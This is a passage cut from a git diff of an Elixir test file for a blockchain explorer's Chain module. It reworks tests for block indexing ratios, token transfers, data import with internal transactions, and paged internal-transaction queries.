fetch_internal_transactions: true) + test "returns 1.0 if fully indexed blocks with internal transactions starting from given TRACE_FIRST_BLOCK" do + Application.put_env(:indexer, :trace_first_block, 5) + + for index <- 5..9 do + insert(:block, number: index) + end - refute Chain.finished_indexing?() + assert Decimal.compare(Chain.indexed_ratio_internal_transactions(), 1) == :eq end end - describe "gas_price/2" do - test ":wei unit" do - assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new(1)}}, :wei) == Decimal.new(1) - end + describe "fetch_min_block_number/0" do + test "fetches min block numbers" do + for index <- 5..9 do + insert(:block, number: index) + Process.sleep(200) + end - test ":gwei unit" do - assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new(1)}}, :gwei) == Decimal.new("1e-9") + assert 5 = Chain.fetch_min_block_number() + end - assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new("1e9")}}, :gwei) == Decimal.new(1) + test "fetches min when there are no blocks" do + assert 0 = Chain.fetch_min_block_number() end + end - test ":ether unit" do - assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new(1)}}, :ether) == Decimal.new("1e-18") + describe "fetch_max_block_number/0" do + test "fetches max block numbers" do + for index <- 5..9 do + insert(:block, number: index) + end - assert Chain.gas_price(%Transaction{gas_price: %Wei{value: Decimal.new("1e18")}}, :ether) == Decimal.new(1) + assert 9 = Chain.fetch_max_block_number() + end + + test "fetches max when there are no blocks" do + assert 0 = Chain.fetch_max_block_number() end end - describe "hashes_to_addresses/1" do - test "with existing addresses" do - address1 = insert(:address, hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - address2 = insert(:address, hash: "0x6aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - # in opposite of insertion order, to check that ordering matches ordering of arguments - # regression test for https://github.com/poanetwork/blockscout/issues/843 - hashes = [address2.hash, address1.hash] + describe "fetch_sum_coin_total_supply/0" do + test "fetches coin total supply" do + for index <- 0..4 do + insert(:address, fetched_coin_balance: index) + end - [found_address1, found_address2] = Explorer.Chain.hashes_to_addresses(hashes) + assert "10" = Decimal.to_string(Etherscan.fetch_sum_coin_total_supply()) + end - %Explorer.Chain.Address{hash: found_hash1} = found_address1 - %Explorer.Chain.Address{hash: found_hash2} = found_address2 + test "fetches coin total supply when there are no blocks" do + assert 0 = Etherscan.fetch_sum_coin_total_supply() + end + end - assert found_hash1 == address2.hash - assert found_hash2 == address1.hash + describe "address_hash_to_token_transfers/2" do + test "returns just the token transfers related to the given contract address" do + contract_address = + insert( + :address, + contract_code: Factory.data("contract_code") + ) - hashes = [address1.hash, address2.hash] + transaction = + :transaction + |> insert(to_address: contract_address) + |> with_block() - [found_address1, found_address2] = Explorer.Chain.hashes_to_addresses(hashes) + token_transfer = + insert( + :token_transfer, + to_address: contract_address, + transaction: transaction + ) - %Explorer.Chain.Address{hash: found_hash1} = found_address1 - %Explorer.Chain.Address{hash: found_hash2} = found_address2 + insert( + :token_transfer, + to_address: build(:address), + transaction: transaction + ) - assert found_hash1 == address1.hash - assert found_hash2 == address2.hash - end + transaction = + contract_address.hash + |> Chain.address_hash_to_token_transfers() + |> List.first() - test "with nonexistent addresses" do - hash1 = "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed" - hash2 = "0x6aaeb6053f3e94c9b9a09f33669435e7ef1beaed" - hashes = [hash1, hash2] + token_transfers_contract_address = + Enum.map( + transaction.token_transfers, + &{&1.transaction_hash, &1.log_index} + ) - assert Explorer.Chain.hashes_to_addresses(hashes) == [] + assert token_transfers_contract_address == [ + {token_transfer.transaction_hash, token_transfer.log_index} + ] end - end - describe "hash_to_transaction/2" do - test "with transaction with block required without block returns {:error, :not_found}" do - %Transaction{hash: hash_with_block} = + test "returns just the token transfers related to the given address" do + %Address{hash: address_hash} = address = insert(:address) + + transaction = :transaction - |> insert() - |> with_block() - - %Transaction{hash: hash_without_index} = insert(:transaction) - - assert {:ok, %Transaction{hash: ^hash_with_block}} = - Chain.hash_to_transaction( - hash_with_block, - necessity_by_association: %{block: :required} - ) - - assert {:error, :not_found} = - Chain.hash_to_transaction( - hash_without_index, - necessity_by_association: %{block: :required} - ) - - assert {:ok, %Transaction{hash: ^hash_without_index}} = - Chain.hash_to_transaction( - hash_without_index, - necessity_by_association: %{block: :optional} - ) - end - - test "transaction with multiple create internal transactions is returned" do - transaction = - %Transaction{hash: hash_with_block} = - :transaction - |> insert() - |> with_block() - - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - Enum.each(1..3, fn index -> - insert(:internal_transaction_create, - transaction: transaction, - index: index, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: index, - transaction_index: transaction.index - ) - end) - - assert {:ok, %Transaction{hash: ^hash_with_block}} = Chain.hash_to_transaction(hash_with_block) - end - end - - describe "hash_to_address/1" do - test "returns not found if the address doesn't exist" do - hash_str = "0xcbbcd5ac86f9a50e13313633b262e16f695a90c2" - {:ok, hash} = Chain.string_to_address_hash(hash_str) - - assert {:error, :not_found} = Chain.hash_to_address(hash) - end - - test "returns the correct address if it exists" do - address = insert(:address) - - assert {:ok, address_from_db} = Chain.hash_to_address(address.hash) - assert address_from_db.hash == address.hash - assert address_from_db.inserted_at == address.inserted_at - end - - test "has_decompiled_code? is true if there are decompiled contracts" do - address = insert(:address) - insert(:decompiled_smart_contract, address_hash: address.hash) - - {:ok, found_address} = Chain.hash_to_address(address.hash) - - assert found_address.has_decompiled_code? - end - - test "has_decompiled_code? is false if there are no decompiled contracts" do - address = insert(:address) - - {:ok, found_address} = Chain.hash_to_address(address.hash) - - refute found_address.has_decompiled_code? - end - end - - describe "token_contract_address_from_token_name/1" do - test "return not found if token doesn't exist" do - name = "AYR" - - assert {:error, :not_found} = Chain.token_contract_address_from_token_name(name) - end - - test "return the correct token if it exists" do - name = "AYR" - insert(:token, symbol: name) - - assert {:ok, _} = Chain.token_contract_address_from_token_name(name) - end - - test "return not found if multiple records are in the results" do - name = "TOKEN" - - insert(:token, symbol: name) - insert(:token, symbol: name) - - assert {:error, :not_found} = Chain.token_contract_address_from_token_name(name) - end - end - - describe "find_or_insert_address_from_hash/1" do - test "returns an address if it already exists" do - address = insert(:address) - - assert {:ok, address_from_db} = Chain.find_or_insert_address_from_hash(address.hash) - assert address_from_db.hash == address.hash - assert address_from_db.inserted_at == address.inserted_at - end - - test "returns an address if it doesn't exist" do - hash_str = "0xcbbcd5ac86f9a50e13313633b262e16f695a90c2" - {:ok, hash} = Chain.string_to_address_hash(hash_str) - - assert {:ok, %Chain.Address{hash: ^hash}} = Chain.find_or_insert_address_from_hash(hash) - end - end - - describe "hashes_to_transactions/2" do - test "with transaction with block required without block returns nil" do - [%Transaction{hash: hash_with_block1}, %Transaction{hash: hash_with_block2}] = - 2 - |> insert_list(:transaction) - |> with_block() - - [%Transaction{hash: hash_without_index1}, %Transaction{hash: hash_without_index2}] = insert_list(2, :transaction) - - assert [%Transaction{hash: ^hash_with_block2}, %Transaction{hash: ^hash_with_block1}] = - Chain.hashes_to_transactions( - [hash_with_block1, hash_with_block2], - necessity_by_association: %{block: :required} - ) - - assert [] = - Chain.hashes_to_transactions( - [hash_without_index1, hash_without_index2], - necessity_by_association: %{block: :required} - ) - - assert [hash_without_index1, hash_without_index2] - |> Chain.hashes_to_transactions(necessity_by_association: %{block: :optional}) - |> Enum.all?(&(&1.hash in [hash_without_index1, hash_without_index2])) - end - - test "returns transactions with token_transfers preloaded" do - address = insert(:address) - token_contract_address = insert(:contract_address) - token = insert(:token, contract_address: token_contract_address) - - [transaction1, transaction2] = - 2 - |> insert_list(:transaction) - |> with_block() - - %TokenTransfer{transaction_hash: transaction_hash1, log_index: log_index1} = - insert( - :token_transfer, - to_address: address, - transaction: transaction1, - token_contract_address: token_contract_address, - token: token - ) - - %TokenTransfer{transaction_hash: transaction_hash2, log_index: log_index2} = - insert( - :token_transfer, - to_address: address, - transaction: transaction2, - token_contract_address: token_contract_address, - token: token - ) - - fetched_transactions = Explorer.Chain.hashes_to_transactions([transaction1.hash, transaction2.hash]) - - assert Enum.all?(fetched_transactions, fn transaction -> - %TokenTransfer{transaction_hash: transaction_hash, log_index: log_index} = - hd(transaction.token_transfers) - - {transaction_hash, log_index} in [{transaction_hash1, log_index1}, {transaction_hash2, log_index2}] - end) - end - end - - describe "indexed_ratio/0" do - test "returns indexed ratio" do - for index <- 5..9 do - insert(:block, number: index) - end - - assert Decimal.compare(Chain.indexed_ratio(), Decimal.from_float(0.5)) == :eq - end - - test "returns 0 if no blocks" do - assert Decimal.new(0) == Chain.indexed_ratio() - end - - test "returns 1.0 if fully indexed blocks" do - for index <- 0..9 do - insert(:block, number: index) - Process.sleep(200) - end - - assert Decimal.compare(Chain.indexed_ratio(), 1) == :eq - end - end - - describe "fetch_min_block_number/0" do - test "fetches min block numbers" do - for index <- 5..9 do - insert(:block, number: index) - Process.sleep(200) - end - - assert 5 = Chain.fetch_min_block_number() - end - - test "fetches min when there are no blocks" do - assert 0 = Chain.fetch_min_block_number() - end - end - - describe "fetch_max_block_number/0" do - test "fetches max block numbers" do - for index <- 5..9 do - insert(:block, number: index) - end - - assert 9 = Chain.fetch_max_block_number() - end - - test "fetches max when there are no blocks" do - assert 0 = Chain.fetch_max_block_number() - end - end - - describe "fetch_sum_coin_total_supply/0" do - test "fetches coin total supply" do - for index <- 0..4 do - insert(:address, fetched_coin_balance: index) - end - - assert "10" = Decimal.to_string(Etherscan.fetch_sum_coin_total_supply()) - end - - test "fetches coin total supply when there are no blocks" do - assert 0 = Etherscan.fetch_sum_coin_total_supply() - end - end - - describe "address_hash_to_token_transfers/2" do - test "returns just the token transfers related to the given contract address" do - contract_address = - insert( - :address, - contract_code: Factory.data("contract_code") - ) - - transaction = - :transaction - |> insert(to_address: contract_address) + |> insert(to_address: address) |> with_block() token_transfer = insert( :token_transfer, - to_address: contract_address, + to_address: address, transaction: transaction ) @@ -1559,60 +1026,23 @@ defmodule Explorer.ChainTest do ) transaction = - contract_address.hash + address_hash |> Chain.address_hash_to_token_transfers() |> List.first() - token_transfers_contract_address = + token_transfers_related = Enum.map( transaction.token_transfers, &{&1.transaction_hash, &1.log_index} ) - assert token_transfers_contract_address == [ + assert token_transfers_related == [ {token_transfer.transaction_hash, token_transfer.log_index} ] end - test "returns just the token transfers related to the given address" do - %Address{hash: address_hash} = address = insert(:address) - - transaction = - :transaction - |> insert(to_address: address) - |> with_block() - - token_transfer = - insert( - :token_transfer, - to_address: address, - transaction: transaction - ) - - insert( - :token_transfer, - to_address: build(:address), - transaction: transaction - ) - - transaction = - address_hash - |> Chain.address_hash_to_token_transfers() - |> List.first() - - token_transfers_related = - Enum.map( - transaction.token_transfers, - &{&1.transaction_hash, &1.log_index} - ) - - assert token_transfers_related == [ - {token_transfer.transaction_hash, token_transfer.log_index} - ] - end - - test "fetches token transfers by address hash" do - address = insert(:address) + test "fetches token transfers by address hash" do + address = insert(:address) token_transfer = insert( @@ -1632,6 +1062,10 @@ defmodule Explorer.ChainTest do # Full tests in `test/explorer/import_test.exs` describe "import/1" do + {:ok, first_topic} = Explorer.Chain.Hash.Full.cast(@first_topic_hex_string) + {:ok, second_topic} = Explorer.Chain.Hash.Full.cast(@second_topic_hex_string) + {:ok, third_topic} = Explorer.Chain.Hash.Full.cast(@third_topic_hex_string) + @import_data %{ blocks: %{ params: [ @@ -1666,7 +1100,8 @@ defmodule Explorer.ChainTest do %{ block_number: 37, transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", - index: 0, + # transaction with index 0 is ignored in Nethermind JSON RPC Variant and not ignored in case of Geth + index: 1, trace_address: [], type: "call", call_type: "call", @@ -1687,13 +1122,12 @@ defmodule Explorer.ChainTest do block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", data: "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000", - first_topic: "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", - second_topic: "0x000000000000000000000000e8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - third_topic: "0x000000000000000000000000515c09c5bba1ed566b02a5b0599ec5d5d0aee73d", + first_topic: first_topic, + second_topic: second_topic, + third_topic: third_topic, fourth_topic: nil, index: 0, - transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", - type: "mined" + transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" } ] }, @@ -1749,19 +1183,26 @@ defmodule Explorer.ChainTest do from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", to_address_hash: "0x515c09c5bba1ed566b02a5b0599ec5d5d0aee73d", token_contract_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + token_type: "ERC-20", transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" } ] } } - test "with valid data" do + test "with valid data", %{json_rpc_named_arguments: _json_rpc_named_arguments} do + {:ok, first_topic} = Explorer.Chain.Hash.Full.cast(@first_topic_hex_string) + {:ok, second_topic} = Explorer.Chain.Hash.Full.cast(@second_topic_hex_string) + {:ok, third_topic} = Explorer.Chain.Hash.Full.cast(@third_topic_hex_string) difficulty = Decimal.new(340_282_366_920_938_463_463_374_607_431_768_211_454) total_difficulty = Decimal.new(12_590_447_576_074_723_148_144_860_474_975_121_280_509) token_transfer_amount = Decimal.new(1_000_000_000_000_000_000) gas_limit = Decimal.new(6_946_336) gas_used = Decimal.new(50450) + gas_int = Decimal.new("4677320") + gas_used_int = Decimal.new("27770") + assert {:ok, %{ addresses: [ @@ -1843,7 +1284,41 @@ defmodule Explorer.ChainTest do updated_at: %{} } ], - internal_transactions: [], + internal_transactions: [ + %InternalTransaction{ + call_type: :call, + created_contract_code: nil, + error: nil, + gas: ^gas_int, + gas_used: ^gas_used_int, + index: 1, + init: nil, + input: %Explorer.Chain.Data{ + bytes: + <<16, 133, 82, 105, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 134, 45, 103, 203, 7, 115, 238, 63, 140, + 231, 234, 137, 179, 40, 255, 234, 134, 26, 179, 239>> + }, + output: %Explorer.Chain.Data{bytes: ""}, + trace_address: [], + type: :call, + block_number: 37, + transaction_index: nil, + block_index: 0, + created_contract_address_hash: nil, + from_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: + <<232, 221, 197, 199, 162, 210, 240, 215, 169, 121, 132, 89, 192, 16, 79, 223, 94, 152, 122, + 202>> + }, + to_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: + <<139, 243, 141, 71, 100, 146, 144, 100, 242, 212, 211, 165, 101, 32, 167, 106, 179, 223, 65, + 91>> + } + } + ], logs: [ %Log{ address_hash: %Hash{ @@ -1858,9 +1333,9 @@ defmodule Explorer.ChainTest do 167, 100, 0, 0>> }, index: 0, - first_topic: "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", - second_topic: "0x000000000000000000000000e8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - third_topic: "0x000000000000000000000000515c09c5bba1ed566b02a5b0599ec5d5d0aee73d", + first_topic: ^first_topic, + second_topic: ^second_topic, + third_topic: ^third_topic, fourth_topic: nil, transaction_hash: %Hash{ byte_count: 32, @@ -1868,7 +1343,6 @@ defmodule Explorer.ChainTest do <<83, 189, 136, 72, 114, 222, 62, 72, 134, 146, 136, 27, 174, 236, 38, 46, 123, 149, 35, 77, 57, 101, 36, 140, 57, 254, 153, 47, 255, 212, 51, 229>> }, - type: "mined", inserted_at: %{}, updated_at: %{} } @@ -1930,2696 +1404,896 @@ defmodule Explorer.ChainTest do } ] }} = Chain.import(@import_data) - end - end - - describe "list_blocks/2" do - test "without blocks" do - assert [] = Chain.list_blocks() - end - - test "with blocks" do - %Block{hash: hash} = insert(:block) - - assert [%Block{hash: ^hash}] = Chain.list_blocks() - end - - test "with blocks can be paginated" do - second_page_block_ids = - 50 - |> insert_list(:block) - |> Enum.map(& &1.number) - - block = insert(:block) - - assert second_page_block_ids == - [paging_options: %PagingOptions{key: {block.number}, page_size: 50}] - |> Chain.list_blocks() - |> Enum.map(& &1.number) - |> Enum.reverse() - end - end - - describe "block_hash_by_number/1" do - test "without blocks returns empty map" do - assert Chain.block_hash_by_number([]) == %{} - end - - test "with consensus block returns mapping" do - block = insert(:block) - - assert Chain.block_hash_by_number([block.number]) == %{block.number => block.hash} - end - - test "with non-consensus block does not return mapping" do - block = insert(:block, consensus: false) - - assert Chain.block_hash_by_number([block.number]) == %{} - end - end - - describe "list_top_addresses/0" do - test "without addresses with balance > 0" do - insert(:address, fetched_coin_balance: 0) - assert [] = Chain.list_top_addresses() - end - - test "with top addresses in order" do - address_hashes = - 4..1 - |> Enum.map(&insert(:address, fetched_coin_balance: &1)) - |> Enum.map(& &1.hash) - - assert address_hashes == - Chain.list_top_addresses() - |> Enum.map(fn {address, _transaction_count} -> address end) - |> Enum.map(& &1.hash) - end - - # flaky test - # test "with top addresses in order with matching value" do - # test_hashes = - # 4..0 - # |> Enum.map(&Explorer.Chain.Hash.cast(Explorer.Chain.Hash.Address, &1)) - # |> Enum.map(&elem(&1, 1)) - - # tail = - # 4..1 - # |> Enum.map(&insert(:address, fetched_coin_balance: &1, hash: Enum.fetch!(test_hashes, &1 - 1))) - # |> Enum.map(& &1.hash) - - # first_result_hash = - # :address - # |> insert(fetched_coin_balance: 4, hash: Enum.fetch!(test_hashes, 4)) - # |> Map.fetch!(:hash) - - # assert [first_result_hash | tail] == - # Chain.list_top_addresses() - # |> Enum.map(fn {address, _transaction_count} -> address end) - # |> Enum.map(& &1.hash) - # end - - # flaky test - # test "paginates addresses" do - # test_hashes = - # 4..0 - # |> Enum.map(&Explorer.Chain.Hash.cast(Explorer.Chain.Hash.Address, &1)) - # |> Enum.map(&elem(&1, 1)) - - # result = - # 4..1 - # |> Enum.map(&insert(:address, fetched_coin_balance: &1, hash: Enum.fetch!(test_hashes, &1 - 1))) - # |> Enum.map(& &1.hash) - - # options = [paging_options: %PagingOptions{page_size: 1}] - - # [{top_address, _}] = Chain.list_top_addresses(options) - # assert top_address.hash == List.first(result) - - # tail_options = [ - # paging_options: %PagingOptions{key: {top_address.fetched_coin_balance.value, top_address.hash}, page_size: 3} - # ] - - # tail_result = tail_options |> Chain.list_top_addresses() |> Enum.map(fn {address, _} -> address.hash end) - - # [_ | expected_tail] = result - - # assert tail_result == expected_tail - # end - end - - describe "stream_blocks_without_rewards/2" do - test "includes consensus blocks" do - %Block{hash: consensus_hash} = insert(:block, consensus: true) - - assert {:ok, [%Block{hash: ^consensus_hash}]} = Chain.stream_blocks_without_rewards([], &[&1 | &2]) - end - - test "does not include consensus block that has a reward" do - %Block{hash: consensus_hash, miner_hash: miner_hash} = insert(:block, consensus: true) - insert(:reward, address_hash: miner_hash, block_hash: consensus_hash) - - assert {:ok, []} = Chain.stream_blocks_without_rewards([], &[&1 | &2]) - end - - # https://github.com/poanetwork/blockscout/issues/1310 regression test - test "does not include non-consensus blocks" do - insert(:block, consensus: false) - - assert {:ok, []} = Chain.stream_blocks_without_rewards([], &[&1 | &2]) - end - end - - describe "get_blocks_validated_by_address/2" do - test "returns nothing when there are no blocks" do - %Address{hash: address_hash} = insert(:address) - - assert [] = Chain.get_blocks_validated_by_address(address_hash) - end - - test "returns the blocks validated by a specified address" do - %Address{hash: address_hash} = address = insert(:address) - another_address = insert(:address) - - block = insert(:block, miner: address, miner_hash: address.hash) - insert(:block, miner: another_address, miner_hash: another_address.hash) - - results = - address_hash - |> Chain.get_blocks_validated_by_address() - |> Enum.map(& &1.hash) - - assert results == [block.hash] - end - - test "with blocks can be paginated" do - %Address{hash: address_hash} = address = insert(:address) - - first_page_block = insert(:block, miner: address, miner_hash: address.hash, number: 0) - second_page_block = insert(:block, miner: address, miner_hash: address.hash, number: 2) - - assert [first_page_block.number] == - [paging_options: %PagingOptions{key: {1}, page_size: 1}] - |> Chain.get_blocks_validated_by_address(address_hash) - |> Enum.map(& &1.number) - |> Enum.reverse() - - assert [second_page_block.number] == - [paging_options: %PagingOptions{key: {3}, page_size: 1}] - |> Chain.get_blocks_validated_by_address(address_hash) - |> Enum.map(& &1.number) - |> Enum.reverse() - end - end - - describe "each_address_block_validation_count/0" do - test "streams block validation count grouped by the address that validated them (`address_hash`)" do - address = insert(:address) - insert(:block, miner: address, miner_hash: address.hash) - - {:ok, agent_pid} = Agent.start_link(fn -> [] end) - - Chain.each_address_block_validation_count(fn entry -> Agent.update(agent_pid, &[entry | &1]) end) - - results = Agent.get(agent_pid, &Enum.reverse/1) - - assert length(results) == 1 - assert results == [{address.hash, 1}] - end - end - - describe "number_to_block/1" do - test "without block" do - assert {:error, :not_found} = Chain.number_to_block(-1) - end - - test "with block" do - %Block{number: number} = insert(:block) - - assert {:ok, %Block{number: ^number}} = Chain.number_to_block(number) - end - end - - describe "address_to_internal_transactions/1" do - test "with single transaction containing two internal transactions" do - address = insert(:address) - - block = insert(:block, number: 2000) - - transaction = - :transaction - |> insert() - |> with_block(block) - - %InternalTransaction{transaction_hash: first_transaction_hash, index: first_index} = - insert(:internal_transaction, - index: 1, - transaction: transaction, - to_address: address, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 1, - transaction_index: transaction.index - ) - - %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = - insert(:internal_transaction, - index: 2, - transaction: transaction, - to_address: address, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 2, - transaction_index: transaction.index - ) - - result = - address.hash - |> Chain.address_to_internal_transactions() - |> Enum.map(&{&1.transaction_hash, &1.index}) - - assert Enum.member?(result, {first_transaction_hash, first_index}) - assert Enum.member?(result, {second_transaction_hash, second_index}) + assert Repo.aggregate(MainExportQueue, :count, :hash) == 0 end - test "loads associations in necessity_by_association" do - %Address{hash: address_hash} = address = insert(:address) - block = insert(:block, number: 2000) - - transaction = - :transaction - |> insert() - |> with_block(block) - - insert(:internal_transaction, - transaction: transaction, - to_address: address, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) + test "populates main multichain export queue, if the multichain service is enabled" do + Supervisor.terminate_child(Explorer.Supervisor, ChainId.child_id()) + Supervisor.restart_child(Explorer.Supervisor, ChainId.child_id()) + multichain_configuration = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.MultichainSearch) - insert(:internal_transaction, - transaction: transaction, - to_address: address, - index: 1, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 1, - transaction_index: transaction.index - ) - - assert [ - %InternalTransaction{ - from_address: %Ecto.Association.NotLoaded{}, - to_address: %Ecto.Association.NotLoaded{}, - transaction: %Transaction{} - } - | _ - ] = Chain.address_to_internal_transactions(address_hash) - - assert [ - %InternalTransaction{ - from_address: %Address{}, - to_address: %Address{}, - transaction: %Transaction{} - } - | _ - ] = - Chain.address_to_internal_transactions( - address_hash, - necessity_by_association: %{ - [from_address: :names] => :optional, - [to_address: :names] => :optional, - :transaction => :optional - } - ) - end - - test "returns results in reverse chronological order by block number, transaction index, internal transaction index" do - address = insert(:address) - - block = insert(:block, number: 7000) - - pending_transaction = - :transaction - |> insert() - |> with_block(block) - - %InternalTransaction{transaction_hash: first_pending_transaction_hash, index: first_pending_index} = - insert( - :internal_transaction, - transaction: pending_transaction, - to_address: address, - index: 1, - block_number: pending_transaction.block_number, - block_hash: pending_transaction.block_hash, - block_index: 1, - transaction_index: pending_transaction.index - ) - - %InternalTransaction{transaction_hash: second_pending_transaction_hash, index: second_pending_index} = - insert( - :internal_transaction, - transaction: pending_transaction, - to_address: address, - index: 2, - block_number: pending_transaction.block_number, - block_hash: pending_transaction.block_hash, - block_index: 2, - transaction_index: pending_transaction.index - ) - - a_block = insert(:block, number: 2000) - - first_a_transaction = - :transaction - |> insert() - |> with_block(a_block) - - %InternalTransaction{transaction_hash: first_transaction_hash, index: first_index} = - insert( - :internal_transaction, - transaction: first_a_transaction, - to_address: address, - index: 1, - block_number: first_a_transaction.block_number, - block_hash: a_block.hash, - block_index: 1, - transaction_index: first_a_transaction.index - ) - - %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = - insert( - :internal_transaction, - transaction: first_a_transaction, - to_address: address, - index: 2, - block_number: first_a_transaction.block_number, - block_hash: a_block.hash, - block_index: 2, - transaction_index: first_a_transaction.index - ) - - second_a_transaction = - :transaction - |> insert() - |> with_block(a_block) - - %InternalTransaction{transaction_hash: third_transaction_hash, index: third_index} = - insert( - :internal_transaction, - transaction: second_a_transaction, - to_address: address, - index: 1, - block_number: second_a_transaction.block_number, - block_hash: a_block.hash, - block_index: 4, - transaction_index: second_a_transaction.index - ) - - %InternalTransaction{transaction_hash: fourth_transaction_hash, index: fourth_index} = - insert( - :internal_transaction, - transaction: second_a_transaction, - to_address: address, - index: 2, - block_number: second_a_transaction.block_number, - block_hash: a_block.hash, - block_index: 5, - transaction_index: second_a_transaction.index - ) - - b_block = insert(:block, number: 6000) - - first_b_transaction = - :transaction - |> insert() - |> with_block(b_block) - - %InternalTransaction{transaction_hash: fifth_transaction_hash, index: fifth_index} = - insert( - :internal_transaction, - transaction: first_b_transaction, - to_address: address, - index: 1, - block_number: first_b_transaction.block_number, - block_hash: b_block.hash, - block_index: 1, - transaction_index: first_b_transaction.index - ) - - %InternalTransaction{transaction_hash: sixth_transaction_hash, index: sixth_index} = - insert( - :internal_transaction, - transaction: first_b_transaction, - to_address: address, - index: 2, - block_number: first_b_transaction.block_number, - block_hash: b_block.hash, - block_index: 2, - transaction_index: first_b_transaction.index - ) - - result = - address.hash - |> Chain.address_to_internal_transactions() - |> Enum.map(&{&1.transaction_hash, &1.index}) - - assert [ - {second_pending_transaction_hash, second_pending_index}, - {first_pending_transaction_hash, first_pending_index}, - {sixth_transaction_hash, sixth_index}, - {fifth_transaction_hash, fifth_index}, - {fourth_transaction_hash, fourth_index}, - {third_transaction_hash, third_index}, - {second_transaction_hash, second_index}, - {first_transaction_hash, first_index} - ] == result - end - - test "pages by {block_number, transaction_index, index}" do - address = insert(:address) - - pending_transaction = insert(:transaction) - - old_block = insert(:block, consensus: false) - - insert( - :internal_transaction, - transaction: pending_transaction, - to_address: address, - block_hash: old_block.hash, - block_index: 1, - index: 1 - ) - - insert( - :internal_transaction, - transaction: pending_transaction, - to_address: address, - block_hash: old_block.hash, - block_index: 2, - index: 2 - ) - - a_block = insert(:block, number: 2000) - - first_a_transaction = - :transaction - |> insert() - |> with_block(a_block) - - %InternalTransaction{transaction_hash: first_transaction_hash, index: first_index} = - insert( - :internal_transaction, - transaction: first_a_transaction, - to_address: address, - index: 1, - block_number: first_a_transaction.block_number, - block_hash: a_block.hash, - block_index: 1, - transaction_index: first_a_transaction.index - ) - - %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = - insert( - :internal_transaction, - transaction: first_a_transaction, - to_address: address, - index: 2, - block_number: first_a_transaction.block_number, - block_hash: a_block.hash, - block_index: 2, - transaction_index: first_a_transaction.index - ) - - second_a_transaction = - :transaction - |> insert() - |> with_block(a_block) - - %InternalTransaction{transaction_hash: third_transaction_hash, index: third_index} = - insert( - :internal_transaction, - transaction: second_a_transaction, - to_address: address, - index: 1, - block_number: second_a_transaction.block_number, - block_hash: a_block.hash, - block_index: 4, - transaction_index: second_a_transaction.index - ) - - %InternalTransaction{transaction_hash: fourth_transaction_hash, index: fourth_index} = - insert( - :internal_transaction, - transaction: second_a_transaction, - to_address: address, - index: 2, - block_number: second_a_transaction.block_number, - block_hash: a_block.hash, - block_index: 5, - transaction_index: second_a_transaction.index - ) - - b_block = insert(:block, number: 6000) - - first_b_transaction = - :transaction - |> insert() - |> with_block(b_block) - - %InternalTransaction{transaction_hash: fifth_transaction_hash, index: fifth_index} = - insert( - :internal_transaction, - transaction: first_b_transaction, - to_address: address, - index: 1, - block_number: first_b_transaction.block_number, - block_hash: b_block.hash, - block_index: 1, - transaction_index: first_b_transaction.index - ) - - %InternalTransaction{transaction_hash: sixth_transaction_hash, index: sixth_index} = - insert( - :internal_transaction, - transaction: first_b_transaction, - to_address: address, - index: 2, - block_number: first_b_transaction.block_number, - block_hash: b_block.hash, - block_index: 2, - transaction_index: first_b_transaction.index - ) - - # When paged, internal transactions need an associated block number, so `second_pending` and `first_pending` are - # excluded. - assert [ - {sixth_transaction_hash, sixth_index}, - {fifth_transaction_hash, fifth_index}, - {fourth_transaction_hash, fourth_index}, - {third_transaction_hash, third_index}, - {second_transaction_hash, second_index}, - {first_transaction_hash, first_index} - ] == - address.hash - |> Chain.address_to_internal_transactions( - paging_options: %PagingOptions{key: {6001, 3, 2}, page_size: 8} - ) - |> Enum.map(&{&1.transaction_hash, &1.index}) - - # block number ==, transaction index ==, internal transaction index < - assert [ - {fourth_transaction_hash, fourth_index}, - {third_transaction_hash, third_index}, - {second_transaction_hash, second_index}, - {first_transaction_hash, first_index} - ] == - address.hash - |> Chain.address_to_internal_transactions( - paging_options: %PagingOptions{key: {6000, 0, 1}, page_size: 8} - ) - |> Enum.map(&{&1.transaction_hash, &1.index}) - - # block number ==, transaction index < - assert [ - {fourth_transaction_hash, fourth_index}, - {third_transaction_hash, third_index}, - {second_transaction_hash, second_index}, - {first_transaction_hash, first_index} - ] == - address.hash - |> Chain.address_to_internal_transactions( - paging_options: %PagingOptions{key: {6000, -1, -1}, page_size: 8} - ) - |> Enum.map(&{&1.transaction_hash, &1.index}) - - # block number < - assert [] 